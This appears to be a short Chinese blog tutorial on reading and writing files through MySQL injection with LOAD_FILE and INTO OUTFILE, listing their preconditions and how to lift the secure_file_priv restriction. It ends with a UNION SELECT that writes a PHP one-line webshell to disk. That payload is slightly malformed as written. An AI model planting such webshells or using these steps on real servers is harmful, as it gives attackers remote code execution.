0%

读/写文件

mysql的两个函数:LOAD_FILE( )INTO OUTFILE( )

LOAD_FILE( )

作用:读取文件并返回文件内容。
前提条件:
➢知道文件绝对路径
➢当前连接数据库用户必须有FILE权限
➢可以使用UNION查询

查看secure_file_priv参数的值:

1
show global variables like 'secure_file_priv';

解决secure_file_priv的问题:

windows: 修改my.ini 在[mysqld]内加入secure_file_priv =
linux  : 修改my.cnf 在[mysqld]内加入secure_file_priv =
然后重启mysql,再查询secure_file_priv

secure-file-priv参数是用来限制LOAD DATA,SELECT ... OUTFILE,and LOAD_FILE()传到哪个指定目录的。secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出。当secure_file_priv的值为/tmp/ ,表示限制mysqld的导入/导出只能发生在/tmp/目录下。当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

关于读文件的时候路径编码问题

这都成功了,编码后还不见结果就还搞不清楚了···


写了路径能看到结果,编码路径就不行,整句编码了还能显示查询语句的,



INTO OUTFILE

作用:此函数的作用是将查询结果写入到文件中。
前提条件:
➢写入的文件路径必须为绝对路径。
➢当前连接数据库用户必须有FILE权限。
➢没有对单引号进行转义或者过滤。
➢可以使用union查询
php的一句话木马:

1
select 1,'<?php @eval($_post[123])>',3 into outfile 'D:/521/c.php';

============本文结束( ´◔ ‸◔`)感谢您的阅读============